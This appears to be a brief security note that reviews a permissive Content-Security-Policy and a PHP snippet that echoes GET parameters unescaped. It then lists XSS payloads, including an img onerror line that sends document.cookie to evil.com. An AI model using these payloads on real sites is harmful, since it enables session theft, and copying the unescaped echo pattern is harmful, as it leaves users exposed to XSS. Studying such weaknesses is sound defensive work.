Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; img-src * data:;

• script-src 'unsafe-inline' - Allows inline scripts
• img-src * data: - Wide open image sources
• CDN without strict integrity - Potential script hijacking

if(isset($_GET["fname"]) && isset($_GET["lname"])){
    echo $_GET["fname"]; // Direct output - XSS vulnerable
    echo $_GET["lname"]; // Direct output - XSS vulnerable
}

Basic XSS (works due to unsafe-inline):

<script>alert('XSS')</script>

Image-based data exfiltration:

<img src=x onerror="fetch('http://evil.com?c='+document.cookie)">

CSS-based exfiltration:

<style>@import 'http://evil.com/style.css'</style>